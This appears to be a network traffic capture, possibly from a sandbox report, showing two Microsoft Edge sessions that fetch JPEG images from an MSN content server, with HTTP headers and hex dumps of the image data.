2024-11-24 22:24:43 UTC	634	OUT	GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:44 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA11MSkH Last-Modified: Wed, 20 Nov 2024 11:33:41 GMT X-Source-Length: 293132 X-Datacenter: northeu X-ActivityId: 36c75023-5862-459d-98a7-1b0518594608 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 293132 Cache-Control: public, max-age=47314 Expires: Mon, 25 Nov 2024 11:33:18 GMT Date: Sun, 24 Nov 2024 22:24:44 GMT Connection: close
2024-11-24 22:24:44 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-24 22:24:44 UTC	16384	IN	Data Raw: fc ab 26 f3 f4 a4 69 4b 80 a9 51 5a 4f 81 92 a4 15 1c 64 7d ab 6e 64 d8 52 68 23 71 f5 15 95 c1 a5 6c d6 0d c7 19 0c cb 00 29 58 04 82 35 33 6f bf c6 a4 c9 53 0d 28 d5 e7 36 f7 b3 66 24 b0 65 a0 d5 79 4e ca ac 0f f1 d4 47 cb 27 f5 fd 6a 7a 64 0a 7e 6f 0a c2 9a a7 6d e7 ad 1a 5c 2f a1 9e af 90 8e 0d 8d b6 e8 ac fb cb a0 b9 ac ea 87 5d ba fd ce bd 01 0f a7 ae 06 37 22 e1 10 a4 30 d4 93 f3 4f 21 48 80 38 fc 28 75 72 76 ef a5 6d ea 1e 9b ba 19 bc 25 c0 8f 07 8c e5 84 72 a6 d5 c0 fe 2b 1f da 40 8f 88 a5 51 48 1e 97 fd 46 12 c0 e2 2c 18 15 d4 1a 6d 1f 12 4f 44 b6 d8 01 a4 89 e7 02 3e 14 d2 aa 76 09 c6 6e be a4 b3 9e b4 3d d0 d1 69 6d 6c 6f 23 67 65 55 2a a2 57 7d ec 40 06 c6 fa 4f 08 d6 a3 c9 26 ff 00 5a 04 54 35 39 5b 79 d3 d7 fc fe 46 e6 ab a0 ea d8 23 a1 c3 Data Ascii: &iKQZOd}ndRh#ql)X53oS(6f$eyNG'jzd~om\/]7"0O!H8(urvm%r+@QHF,mOD>vn=imlo#geU*W}@O&ZT59[yF#
2024-11-24 22:24:44 UTC	2325	IN	Data Raw: 42 72 ea 3e ae cb 15 1b 59 a2 21 51 37 96 31 36 31 f1 fe 95 49 94 2a a9 53 25 38 95 b3 73 02 f7 8f 8d 73 b6 95 52 ea 44 d3 b8 f5 06 f3 b8 f4 b3 e4 41 7b 7c b7 b4 de 20 5f f4 b9 f2 a6 f1 e6 ca ac a5 48 95 ea 55 e0 a3 fd dc c4 f0 34 06 d2 79 c6 37 1f b9 08 ce 32 53 dd 57 90 7e 07 e3 90 59 71 36 d4 05 76 c0 81 a8 13 73 79 13 27 5f 4a 79 99 0e 41 93 31 f7 42 11 20 23 00 b7 9d b0 63 a4 dc 6b 42 8a 8c a4 e9 e7 cf f4 11 5a 8d 46 2a 2f cb 56 fc b6 af 20 f4 fe 3a 04 4c 98 71 e3 21 0a 64 b8 b3 02 a7 a7 9f a8 a6 bb ef 64 c3 63 d8 24 4c 20 8d 49 b7 97 9d 69 d1 e4 5f f5 f5 e6 db c7 52 68 e3 23 a6 0b b4 c0 3b 8c 8c 90 5b e6 8d b0 09 81 3a 9d 05 a8 28 71 a0 05 99 8d e0 85 24 12 0e b7 fa 89 f8 53 d6 99 2a e4 77 37 a9 f0 48 c5 6a 26 a4 9e 7e 45 69 84 88 96 53 d4 66 d3 1e Data Ascii: Br>Y!Q7161IS%8ssRDA{\| _HU4y72SW~Yq6vsy'_JyA1B #ckBZF/V :Lq!ddc$L Ii_Rh#;[:(q$S*w7Hj&~EiSf
2024-11-24 22:24:44 UTC	16384	IN	Data Raw: f5 70 83 23 89 b1 bd 4f ee 77 b6 41 db bb 97 52 61 a0 41 9d 63 97 a4 7e b4 1e 58 eb 8b a2 a7 82 71 82 5e 05 68 0e a7 6e 46 76 00 dc 02 4d f5 1c 08 b4 53 5d b3 10 d9 31 62 3b 91 34 7f 95 c1 1c 35 21 88 1c 44 69 44 97 e4 2b d9 bf e8 77 2c a3 be e6 4c f8 f7 3e 22 84 a3 29 50 26 e0 6a a4 9f eb 4c b3 3a c3 cf b8 a4 30 26 c4 18 d0 89 d4 6b 48 92 4f 9d ce 5d 38 2e 45 67 39 db ad d2 47 49 02 48 f8 19 a6 56 06 52 09 80 ac 61 74 b1 1b b8 1e 24 fa 51 9e e2 ec 2b 3b 20 bb b9 8c 56 81 be 24 c5 86 86 fe 35 4f b9 0b b2 4f 23 62 7c 3e f1 4d 11 22 71 c4 95 54 65 75 de 72 0b 41 8e a5 dc 3c 62 60 fa 57 bd b2 ae d7 1b 60 ed b4 9f a5 fc 68 a4 60 db a1 99 2b b8 60 32 1d 84 15 1b 63 c6 39 f0 99 e3 44 7c 4c c8 84 0d 37 6e 1c 24 1a a7 11 64 bc 33 eb 04 9f f7 5e 2b e5 d2 6c 7a 87 Data Ascii: p#OwARaAc~Xq^hnFvMS]1b;45!DiD+w,L>")P&jL:0&kHO]8.Eg9GIHVRat$Q+; V$5OO#b\|>M"qTeurA<b`W`h`+`2c9D\|L7n$d3^+lz
2024-11-24 22:24:44 UTC	16384	IN	Data Raw: c6 dc e8 d0 e4 58 ac f3 83 a1 ca cf b1 d1 8a 6d 21 fe e6 19 77 5f 94 1f 5d 6b 19 11 54 18 d2 07 1f a5 6c 07 18 d1 a9 93 4a 44 65 10 cc 42 92 01 03 49 b9 d3 9d 60 b1 56 30 62 87 dd bc 51 7b 8a ea ef d8 cf 3d 86 91 b5 01 46 ed db 49 3f 6f 10 60 50 36 31 2d 69 22 f7 92 7e f1 40 d4 ee b9 5b 91 b5 4b 26 7b f7 f0 56 38 73 29 27 71 7f 52 4c 7f 4a 11 c6 c0 c9 f2 1a 58 e9 5c be ad 97 e6 27 0b 81 16 7f 82 cb 1b 0c 6e 05 6f e5 11 7f 3f ca 95 d9 b1 77 0b 5f 4d 47 c0 7e b6 a1 b8 e5 d9 a1 4b 67 93 ab 92 ab 7c e4 61 61 55 98 89 20 e8 67 4a f3 b7 0a db c3 74 90 35 b4 7c 6a c5 e0 46 aa 9a cf ea 32 fa 97 22 e9 ac a3 c7 ce 5a 36 af af 0f f5 a2 fb 9b 74 44 32 23 79 04 7d 01 8a 69 fd 58 e8 01 aa c5 bf 41 2a 9f 23 71 81 36 c9 b7 42 75 d6 37 44 f0 e1 4c e5 54 22 d3 f2 8d 7d 2e Data Ascii: Xm!w_]kTlJDeBI`V0bQ{=FI?o`P61-i"~@[K&{V8s)'qRLJX\'no?w_MG~Kg\|aaU gJt5\|jF2"Z6tD2#y}iXA*#q6Bu7DLT"}.
2024-11-24 22:24:44 UTC	7952	IN	Data Raw: 1a be 53 33 ac 78 28 66 cb ef 38 44 0b 22 43 38 86 58 1f db 6e a3 16 be a6 97 4c a0 b4 13 ec 82 02 9d ab 68 1e 15 9a 31 6b ea 93 74 eb 4c 78 77 e7 dc d0 d5 66 93 7b 1b 39 6b f4 00 bb 99 c8 4e f8 28 44 3b f2 64 72 22 5c db 6f 0d a0 68 3c 2d 1c ab 19 65 f3 e2 0b d6 16 22 d1 31 7f 31 e2 69 3b 2d b9 3c 25 15 b2 e6 fc 8c a4 a3 09 49 fd 3f 95 9a af 53 cb 26 ac 59 40 e2 ed 9d 71 e2 76 23 6a 6b d2 00 31 a0 e3 7f a9 e3 51 33 b6 47 72 5f 59 d3 82 f8 01 c2 ae b7 76 ad fb 05 8c d4 95 dd a0 ff 00 4c 9f 3b 6f c1 89 cd c9 db 19 ee 7b 5f f1 d5 08 70 db 80 24 7f 6c f0 27 43 6b da a5 99 9a e8 cb 50 44 6a 94 34 a5 93 36 ab 3a 4c 5d d8 4e dc a9 c8 ac 49 58 94 dd 0a 0b 12 a6 63 53 7e 33 c6 95 1b 19 31 63 29 a8 d5 57 a9 8f 85 c4 f2 9f 85 64 94 5b ba 8b f8 d7 ba 7e 84 b9 dc 9f Data Ascii: S3x(f8D"C8XnLh1ktLxwf{9kN(D;dr"\oh<-e"11i;-<%I?S&Y@qv#jk1Q3Gr_YvL;o{_p$l'CkPDj46:L]NIXcS~31c)Wd[~
2024-11-24 22:24:44 UTC	16384	IN	Data Raw: fa 81 a4 74 fe ee 0f 71 53 03 14 c6 d8 c8 3b 6c db 94 92 09 26 0e e6 d3 85 73 61 bb 74 ca a0 ae 46 00 c3 03 1f 48 37 af 3d a9 7e e9 2b 69 e2 f3 87 fc 1b f4 f7 1c 5e 62 9e cd 5f e6 6a 96 86 fe 9e 2b e6 65 28 e4 ee 16 54 14 38 c4 db a6 6d ad da 49 3c 09 3a d3 e3 32 12 83 68 18 d5 80 db 00 5d bc 22 4f 8d c7 ad 01 76 f0 dd ea f1 66 58 c2 59 6d dc 9a e6 f6 41 70 25 9c de 56 5c a0 86 31 37 90 4b 02 c3 43 16 23 ef 6a ad de 0e db 1a b2 a2 db 76 ad c4 af 01 03 8e 82 2d 1c 6b d2 8d c5 a6 b6 db 8c 74 01 da d5 27 97 b1 dc f2 36 0e 53 26 25 58 50 d2 c3 52 34 f2 35 e0 82 dc bd 2b d3 8c 9b ce c7 56 04 14 68 e3 6c ea 85 14 48 07 79 d0 4c da 4e 92 78 56 71 fc ff 00 86 e4 7f da 07 96 b1 42 d4 bb 6d db e7 8d ce 92 c7 d4 97 b0 c2 65 0e 76 e8 72 2b 60 db 2d 3b 92 f1 04 6a 3c Data Ascii: tqS;l&satFH7=~+i^b_j+e(T8mI<:2h]"OvfXYmAp%V\17KC#jv-kt'6S&%XPR45+VhlHyLNxVqBmevr+`-;j<
2024-11-24 22:24:44 UTC	16384	IN	Data Raw: 12 d2 0f 23 5c df ed 9d c6 7c fd ca 7b b2 57 db ca 36 b3 8b 10 aa 0b 40 bd c5 ae 3d 28 55 49 96 5c 7c 0d 5b 82 86 19 cf 77 b9 72 9c 86 41 50 49 7d a0 9d 92 78 c5 cc 11 57 bf 75 ed b2 6f 5b 08 2d b7 a6 22 5a 36 a4 fa 68 79 51 05 89 1b b1 e4 b7 39 52 08 20 34 6e 59 0d 7b 19 e1 cb 4a eb fb 0f db bb 83 bb dc 8c 71 b8 aa 95 5e a0 d6 2c a5 81 98 8e 1f 6d 50 6d 99 f8 08 95 9c 94 39 da 2f 17 23 5e 93 cf 95 77 3d c6 10 72 1c 49 8d d1 31 0b 2a 86 66 76 37 be d8 13 bb 6c dd 87 95 16 c4 be b5 90 61 1c 3e af 00 7b 54 c3 db f6 ed d4 ab 99 f6 06 07 6b 6d 59 1d 44 1f 94 cd c0 e7 45 c3 80 f7 29 8f 17 b6 a5 f7 b3 3a 91 04 ec 6d 64 f2 22 fb a2 66 2a f2 fc 64 66 eb f2 1a b0 3b e0 7b ba 67 6e c3 3c a9 ba 00 05 88 86 33 32 46 f9 02 e2 6c 2b df dc 91 97 b4 18 82 e5 f7 72 1d 4c Data Ascii: #\\|{W6@=(UI\\|[wrAPI}xWuo[-"Z6hyQ9R 4nY{Jq^,mPm9/#^w=rI1fv7la>{TkmYDE):md"fdf;{gn<32Fl+rL
2024-11-24 22:24:44 UTC	7952	IN	Data Raw: 04 dc 37 ed 5d c0 72 00 c1 e5 6f 5a a3 dd f7 45 59 15 a3 64 58 6c 20 c1 5f 18 3e 9c 22 89 49 2f 50 4d 39 2a 5e 0b 24 96 cc 79 4b 6e a4 1c 39 b7 e5 41 71 d5 c7 85 53 ec dd 5b 3e 31 ed a0 05 84 9e 22 7e 83 c8 5e b5 28 d3 40 63 16 9a b6 c0 c2 57 24 3c 2e f8 28 13 6c 81 81 82 7a 0a e9 3e d9 04 fe 93 46 74 5c 23 6e e3 3d 65 64 48 80 00 83 e2 60 d6 f6 0e ec 3e ec 6a 39 fc ea 5d a4 c3 fe 1c 82 4e dd a2 62 6d ac 70 af 90 9c 59 37 00 4c 6e 8f 8e a0 c4 7c 68 13 95 56 6b ea ae 2e ff 00 82 77 a3 ae 35 75 93 37 77 61 a4 8d a6 5c 63 18 1d 0a ca a4 49 e2 dc 8a 91 a7 32 66 92 28 32 f5 1d a8 41 e0 0b 03 27 59 13 79 b7 8d 65 9a 7a 9f ee 6b 1f 85 e4 7b 7d bc 2b 9f ab 4a be 3b 19 65 2b f8 15 af 89 4f f6 fd a7 b8 41 63 79 dc 27 58 e1 e7 5b c4 53 b7 71 b4 b3 1d ca 49 d1 67 5d Data Ascii: 7]roZEYdXl _>"I/PM9*^$yKn9AqS[>1"~^(@cW$<.(lz>Ft\#n=edH`>j9]NbmpY7Ln\|hVk.w5u7wa\cI2f(2A'Yyezk{}+J;e+OAcy'X[SqIg]
2024-11-24 22:24:45 UTC	15060	IN	Data Raw: 38 02 68 6e 66 69 55 2c 25 6d 07 e3 84 2a a8 e1 2b 63 f1 b0 d6 39 60 40 62 aa 38 0b 5f 99 d2 a4 e4 cb 00 01 c4 f1 fc a8 2d 75 ab 2e 96 de 7e 45 b9 71 7f 00 5f 55 e5 fc 0a 98 9f 1a 23 17 81 92 66 4b 78 f8 19 a9 59 ac a1 45 a4 dc c0 d2 a5 05 e0 22 42 f1 82 b2 77 09 ee 0e ad df c5 76 83 f5 27 87 de 6a 2e 37 0a e0 c9 b9 82 4f af 0e 54 94 46 db 0a b0 67 b6 f6 28 be 4d 8c 58 00 7a b4 3a 79 d0 cb 24 90 d3 af 3f d6 a7 38 07 25 2b c5 07 ba 03 2d 43 50 fd c9 04 ce 42 20 6e 98 0b e0 a3 4f 85 64 f7 2b 8b a5 45 b4 03 49 1e 97 8a ea e9 84 05 76 e5 6e dd fe 43 b7 a8 02 83 ea 7b 95 15 09 12 58 6e 31 04 c1 e5 e9 e3 14 12 37 c3 78 90 42 e8 a4 5e 27 d2 92 53 b7 4a 9f 56 c2 68 c8 9d c9 53 d2 96 7a 8c e0 db bb c0 56 67 62 49 3d 13 d4 04 0b 2d b8 f8 c1 8a 59 b2 38 2c ac 05 ae Data Ascii: 8hnfiU,%m*+c9`@b8_-u.~Eq_U#fKxYE"Bwv'j.7OTFg(MXz:y$?8%+-CPB nOd+EIvnC{Xn17xB^'SJVhSzVgbI=-Y8,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49867	104.117.182.56	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:44 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO7.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:44 UTC	522	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO7 Last-Modified: Sat, 23 Nov 2024 17:10:02 GMT X-Source-Length: 176972 X-Datacenter: northeu X-ActivityId: c1da1ec4-0c27-40f3-823d-5ec36706435b Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 176972 Cache-Control: public, max-age=326741 Expires: Thu, 28 Nov 2024 17:10:25 GMT Date: Sun, 24 Nov 2024 22:24:44 GMT Connection: close
2024-11-24 22:24:44 UTC	15862	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-24 22:24:44 UTC	16384	IN	Data Raw: 5f 4a 81 a1 b4 5f 99 e5 16 15 8f 36 74 ee db b5 2e a1 06 2f 94 ae 36 58 52 45 c3 02 c5 67 a4 c7 9d e9 cf 9b 0f 6d db 76 e1 db 0a 46 e0 a4 c7 a8 6e b4 ee fa 8c 74 36 ac 3d ae 3d ce 21 4c 9f 54 da 02 f0 9e 5d 39 cd 2f fa b1 df 8c 20 93 2e bb 40 fe 10 64 9e 91 3d 05 48 b5 1f dd fe b0 0b 7e d0 22 96 53 c0 58 df 70 6f e2 fb 6d 58 d1 76 ee 62 07 a7 6c 0e 25 af f0 10 6b 5e 37 0f b3 12 fa a2 07 8c 71 a2 1d f7 6e 55 91 43 01 b9 44 cf 30 0c 9b 6b ac 7c e9 27 9c 9a 6a 52 4a b9 66 fe d7 dc cd 77 61 b6 26 ff 00 08 b0 80 39 0a 03 fa 96 7f 7c 0c 78 e2 15 86 d2 7f 70 9f 54 db 51 63 e5 22 96 ca e9 87 19 c7 32 4a f2 b8 e5 34 dd c2 4b 3a ee be 80 9e 80 54 72 ef a7 06 51 4b 87 e4 37 85 7d 84 55 dd 3c d8 cc 12 7e ca d8 57 dc 3a 5e 0c 72 e8 6b 16 45 f7 71 38 8d 74 f1 1a 50 ac Data Ascii: _J_6t./6XREgmvFnt6==!LT]9/ .@d=H~"SXpomXvbl%k^7qnUCD0k\|'jRJfwa&9\|xpTQc"2J4K:TrQK7}U<~W:^rkEq8tP
2024-11-24 22:24:44 UTC	2206	IN	Data Raw: d7 26 71 2a 38 6e 3f 57 e1 53 6e 57 9b 5e b5 36 51 88 0f 5c 8e 82 07 c2 4c 56 4c a5 40 da be 60 73 a6 f6 5e ec 63 7d b1 cb c3 e5 ce b2 51 de 65 ea e8 76 e6 2b 9b 18 02 c7 84 eb 3c 80 23 88 e1 ad 36 d0 95 cc 2f 13 e9 23 84 f0 3f 95 53 3e f0 2f 30 2d d3 c2 95 74 dd ed e4 b0 de 04 f2 dd fd 8e bd 2b 58 c3 6e 0d 25 1a 37 e3 63 2e 09 3f e3 71 1a c4 11 06 79 f1 a3 11 36 1a 44 d6 04 61 95 78 5c 1b 4d e6 b2 1c e5 06 d2 84 93 22 41 11 fd 46 60 df 5d 0d 65 28 db c1 2f 06 ac f3 b1 87 12 0c 78 f2 a6 ee 3f fe d0 1c 84 10 cc c4 00 79 08 bd 1c c9 90 03 00 b4 ed 99 d2 6d a8 e9 e1 4c 6c cf 97 2e 44 46 93 c0 02 41 8e 42 75 f9 de ba f4 d3 78 f0 61 a8 ea ba f8 0f 7f 3b 93 21 8d 49 b2 98 3c 78 72 9f 28 a7 12 33 e7 42 85 8a 13 2a 47 09 fc 57 f8 af 1a 13 83 16 cd aa ca 08 1b 4c Data Ascii: &q8n?WSnW^6Q\LVL@`s^c}Qev+<#6/#?S>/0-t+Xn%7c.?qy6Dax\M"AF`]e(/x?ymLl.DFABuxa;!I<xr(3BGWL
2024-11-24 22:24:44 UTC	16384	IN	Data Raw: 7b 70 42 8f 56 d0 b7 24 bc ed 0c 07 11 b6 f4 ab e2 7c 6f 94 6e be d4 fa 94 2c 86 d0 6d 06 c4 1e 55 1e c0 7b 99 c5 d5 82 93 93 77 18 00 47 13 17 e5 45 fb b0 de fb 64 dc 20 05 06 d3 1c a6 62 f4 f8 c1 87 fd 02 99 55 10 bb 10 4f a8 2c c3 01 1d 27 9e b4 d0 7c ac c0 40 46 11 f5 82 d1 e4 26 3e 14 63 bc 00 aa 16 2c c3 69 1a 05 83 6d 38 35 f5 b5 36 32 10 07 db f3 d2 b5 82 2e 40 cc cd 3f e9 5d 89 62 4f 08 a8 15 b9 26 41 e1 6e 1d 79 52 fb 82 2f 88 ae 93 9b c8 90 be 86 7c 04 7e 75 64 18 89 80 35 fb f4 a4 26 3a 56 82 61 62 c7 48 b9 f8 c4 7d b4 c4 8c fb 37 79 df 95 5b 9f 6d 6f 68 fb fc e9 46 51 f5 5c 74 eb 40 7b 82 c5 80 33 1c 3a d0 4c 9e d4 38 7b 7e e5 46 32 05 bd 50 07 12 48 d4 9a 5c f0 3e 32 68 47 6f 80 ad cd 98 f0 e2 05 17 09 61 17 9b 69 f6 45 2a 34 4e 4e 2a c4 76 Data Ascii: {pBV$\|on,mU{wGEd bUO,'\|@F&>c,im8562.@?]bO&AnyR/\|~ud5&:VabH}7y[mohFQ\t@{3:L8{~F2PH\>2hGoaiE4NNv
2024-11-24 22:24:44 UTC	16384	IN	Data Raw: 83 c6 fe 23 e1 fd ab 6e 66 5c 98 ce d0 7d 2c b1 c8 c9 89 17 e0 79 f9 56 51 9c e2 07 1e ee 36 01 77 49 e5 a1 fb 05 61 4f c0 e4 d3 16 63 31 20 7a 4c 80 6f 7e 62 2f f2 a1 99 b0 96 25 8b 42 91 a0 69 04 f1 10 74 d7 cf 59 a3 d8 86 4c 9e b2 02 ad a0 b5 99 bc a2 40 1f 1a 71 63 fd 31 72 c3 bb 15 06 fb 57 53 d4 ee 98 f2 13 4e 17 66 52 9c 12 b7 fe 4f 16 c8 9e db 7f 09 e5 fb 4f 5a e0 0a 34 af 0b fc b8 8a f5 cc fd af e9 b8 c3 29 c7 ee 11 72 3d c3 be ff 00 ee 11 ff 00 14 d6 fe 5b b7 92 c3 7e 15 e0 1b 22 e4 f3 04 80 7e 33 5d 9b 95 1c 31 8f c4 95 c5 34 8c aa 7d dd 99 14 9d c7 58 11 1c c1 e1 1f 6d 58 c8 64 d8 d8 1e 11 36 bf 98 fc a9 4c 78 53 16 42 57 26 e1 f8 76 c5 fe 66 88 26 19 dd 03 d5 aa 89 d4 fe 1e 92 6b 1c 1e c2 4f 6d fb 99 fb 7e e0 92 2e 21 40 04 18 82 07 1a 96 6c Data Ascii: #nf\},yVQ6wIaOc1 zLo~b/%BitYL@qc1rWSNfROOZ4)r=[~"~3]14}XmXd6LxSBW&vf&kOm~.!@l
2024-11-24 22:24:44 UTC	7952	IN	Data Raw: 10 a3 a4 01 15 b4 e3 dd 6f da 6f a9 20 fc 2d d6 b0 f7 4e 14 2e 3c 6e aa d3 2e 62 54 28 e1 e2 4d c0 f9 d6 2e 56 6d b5 0a 66 c8 d8 c1 c8 ca 99 12 48 17 da c4 8d 40 b7 0f 33 4d 36 53 91 89 6c 7b 77 4d ae 22 74 03 c2 8c 9c 60 95 97 09 b4 7a 41 b9 b7 18 e6 79 d4 9a 71 2e a6 49 00 6e e2 4f 1b f0 ea 45 64 9d 1d 14 24 81 50 5b f6 8b da d1 cb 8a db 48 8a 07 91 46 e9 11 b5 22 47 36 65 90 22 39 1d 23 c6 b5 b7 72 6e ac a4 36 9b 83 03 7e b6 51 1e 40 72 ac 99 0a 08 0c da 0d 09 93 3c 49 0b c4 f0 00 57 44 62 d9 32 6a b9 40 67 42 cf b9 ae d6 8e 00 0f 86 95 b7 12 8c 8c 52 42 a0 13 93 24 59 44 5c 0e 04 9d 04 ea 6b 21 97 fa 0b 05 98 9d 80 9e bc 64 91 d2 40 e3 58 f2 f7 8c a9 ec e0 51 b4 b4 fa a1 b7 72 df a0 6f 08 81 ca bb d4 69 1e 6b d4 b7 8e 3f b1 c2 7f cc 46 2e d9 76 f6 fb Data Ascii: oo -N.<n.bT(M.VmfH@3M6Sl{wM"t`zAyq.InOEd$P[HF"G6e"9#rn6~Q@r<IWDb2j@gBRB$YD\k!d@XQroik?F.v
2024-11-24 22:24:45 UTC	16384	IN	Data Raw: 0c 52 d7 1f 7b 7c eb aa 2d 33 7f fe 89 af 0b d4 f3 11 fa 47 74 f0 4f b7 8e f7 dc db be 0a a7 ed a5 47 e8 4c 4c b6 7d bf d3 8e 7e 25 81 f8 57 a4 eb 59 86 55 39 0e 33 21 a2 44 fe e1 cd 79 c6 84 6a 2b 7f 07 2b d6 9b f3 f2 18 27 f4 47 99 19 d5 8f f1 63 23 ec 63 f6 50 dc df a4 77 58 f7 b0 41 96 74 f6 df d4 0c 47 d2 c1 6d e1 26 bd 20 e5 da fb 0f ee fa 4f 36 d7 61 e4 c4 5d 78 35 6d 47 0e a0 8e 35 29 af 25 2d 7d 45 e6 fd 51 e0 8b 89 b1 90 ad 2a c3 f6 91 07 e4 69 52 76 ea 38 db ef e3 5e e3 9b 0e 3e e1 76 e4 50 e3 ae a3 c0 ea 0f 51 4c ac ff 00 a2 06 ff 00 b5 90 8f e1 c9 71 1d 19 44 fc c1 ac f0 d9 e9 43 f7 51 ac ad af dd 0c 7f 75 97 89 88 9a 22 99 c9 24 72 b5 0f cd 85 b0 37 b7 95 59 1a 0c 4e 87 aa 9d 18 75 14 2d 1b 63 1d 4f db 14 a8 f4 d6 a5 d6 6d 3f 27 a0 e2 ee 76 Data Ascii: R{\|-3GtOGLL}~%WYU93!Dyj++'Gc#cPwXAtGm& O6a]x5mG5)%-}EQ*iRv8^>vPQLqDCQu"$r7YNu-cOm?'v
2024-11-24 22:24:45 UTC	16384	IN	Data Raw: 41 02 09 db fe 4d a2 01 9f 54 ae e2 4d 45 57 30 dc 70 c4 16 fa 36 ed 59 1f 54 9d 7d 47 e9 6d 28 c0 d5 ac 7f 5e 0d 78 84 7a 80 13 c6 54 2b 7c 86 9f 29 ab fd c4 fd 20 6b 7f cf f3 9a c0 99 d9 8c 1c 61 36 46 f4 3b 8e 50 3c 2d 23 a8 26 68 86 f4 0c 04 3c 93 00 e8 a6 06 e9 17 d3 85 ea 69 9a a9 23 95 d1 a4 2e 46 24 5b 81 1f 28 82 3c af 53 55 e6 00 8f dc 00 00 78 7a ba c1 34 3c a0 00 94 85 25 a4 87 1a 74 d6 07 4b d5 fb a4 59 d0 0e 04 b9 0a 67 e5 79 e0 41 3d 6a 68 78 1c 78 b3 6e f4 b3 90 d0 35 00 a3 75 31 71 e5 0b d2 8d 9c 23 55 21 a6 fd 0f 84 53 3e 43 8f 49 d9 17 d2 6f f3 f9 da 39 51 9c 39 7d b6 85 0a dc 59 64 08 6b 49 12 c2 2d c8 41 a6 71 4f 4d c7 31 bf 41 6c 8b 07 95 62 f7 0d ef e3 b7 fb 73 a2 b9 0a 77 1b 1b 1e d6 53 3b 86 e0 1d 62 d2 aa 75 bd 88 f3 14 23 27 a7 Data Ascii: AMTMEW0p6YT}Gm(^xzT+\|) ka6F;P<-#&h<i#.F$[(<SUxz4<%tKYgyA=jhxxn5u1q#U!S>CIo9Q9}YdkI-AqOM1AlbswS;bu#'
